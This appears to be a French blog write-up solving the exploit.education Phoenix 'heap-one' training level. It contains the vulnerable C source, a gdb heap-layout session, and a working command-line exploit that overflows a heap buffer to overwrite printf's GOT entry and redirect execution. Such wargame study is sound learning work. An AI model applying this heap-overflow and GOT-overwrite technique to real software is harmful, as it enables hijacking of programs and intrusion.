kiddie
.:: @OREL ::.

Phoenix - Heap overflow - Heap 1
[ 27/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/heap-one/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level explores what can be done with data overwrites.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/heap-zero, by https://exploit.education * * Can you hijack flow control? * * Which vegetable did Noah leave off the Ark? * Leeks */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" struct heapStructure { int priority; char *name; }; int main(int argc, char **argv) { struct heapStructure *i1, *i2; i1 = malloc(sizeof(struct heapStructure)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct heapStructure)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); } void winner() { printf( "Congratulations, you've completed this level @ %ld seconds past the " "Epoch\n", time(NULL)); }
Le programme débute par la déclaration d'une structure de données notée heapStructure, cette structure est composée de deux éléments, priority un integer et name un pointeur de type char. Le corps du main déclare deux pointeurs de type heapStructure nommés i1 et i2. Un espace mémoire est alloué à chaque pointeur et leur priority est initialisée à 1 pour i1 et 2 pour i2. un espace de 8 octets est alloué à l'élément name de chaque strcuture. Enfin, l'argument n°1 est copié dans l'élément name de i1 et l'argument n°2 est copié dans l'élement name de i2.
[1.2 - identification de la vulnérabilité
Les deux appels successifs à strcpy sont autant de portes ouvertes pour injecter des données arbitraires dans heap 1, rien de bien nouveau.
[2 - Méthodologie d'exploitation
On a pu voir dans heap 0 les différentes propriétés de la heap, notam- ment les adresses croissantes allouées au fur et à mesure des appels à malloc et les conséquences que cela implique lorsqu'un buffer overflow vient toucher l'un des blocs alloué. On peut d'ores et déjà relever les adresses allouées par malloc et sché- matiser l'agencement des variables en mémoire pour déteminer quelles seront les valeurs qu'on pourra écraser :
user@phoenix-amd64:/opt/phoenix/i486$ gdb -q heap-one Reading symbols from heap-one...(no debugging symbols found)...done. (gdb) b malloc Breakpoint 1 at 0x80490e0 (gdb) define foo Type commands for definition of "foo". End with a line saying just "end". >finish >i r $eax >continue >end (gdb) r 1234 5678 Starting program: /opt/phoenix/i486/heap-one 1234 5678 Breakpoint 1, 0x080490e0 in malloc () (gdb) foo 0x080487f3 in main () eax 0xf7e69008 -135884792 Breakpoint 1, 0x080490e0 in malloc () (gdb) foo 0x0804880c in main () eax 0xf7e69018 -135884776 Breakpoint 1, 0x080490e0 in malloc () (gdb) foo 0x08048821 in main () eax 0xf7e69028 -135884760 Breakpoint 1, 0x080490e0 in malloc () (gdb) foo 0x0804883a in main () eax 0xf7e69038 -135884744 and that's a wrap folks! [Inferior 1 (process 624) exited normally]
Avec les valeurs relevées ci-dessus, on obtient la disposition suivante : 0 4 8 16 32 36 40 48 54 +--------------+------------+--+-----------+--------------+------------+--+-----------+ | i1->priority | i1->name | | | i2->priority | i2->name | | | | 1 | 0xf7e69018 | | argv[1] | 2 | 0xf7e69038 | | argv[2] | | | + | | | | + | | | +--------------+------------+--+-----------+--------------+------------+--+-----------+ 0xf7e69008 | 0xf7e69018 0xf7e69028 | 0xf7e69038 | ^ | ^ +--------------+ +--------------+ Les deux appels successifs à strcpy nous permettent d'écraser toute valeur suivant argv[1] et/ou argv[2]. Écraser les données à la suite de argv[2] ne serait pas vraiment pertinent, par contre, s'il on parvient à écraser i2->name via le premier strcpy, on pourrait écrire n'importe quelle valeur à n'importe qu'elle adresse avec le second strcpy En effet, on obtiendrait strcpy(argv[1],argv[2]) et l'on sait avec format 4 qu'une modification de la GOT via cette écriture arbitraire peut rediriger l'exécution du programme sur une adresse qu'on aura choisie. Il ne nous reste donc plus qu'a trouver l'entrée dans la GOT à modifier et l'adresse qu'on souhaitre y écrire, dans notre cas, c'est celle de winner. Pour l'entrée de la GOT à modifier, cela ne devrait pas être très compliqué puisqu'une seule fonction est appelée après strcpy, printf.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/i486$ ./heap-one $(python -c 'print "A" * 20\ > + "\x08\x04\xc1\x40"[::-1] + " " + "\x08\x04\x88\x9a"[::-1]') Congratulations, you've completed this level @ 1566886804 seconds past the Epoch
[4 - Conclusion
Cet exercice reprend les notions vues dans format 4 et heap 0.

Tout est faux tout est conforme.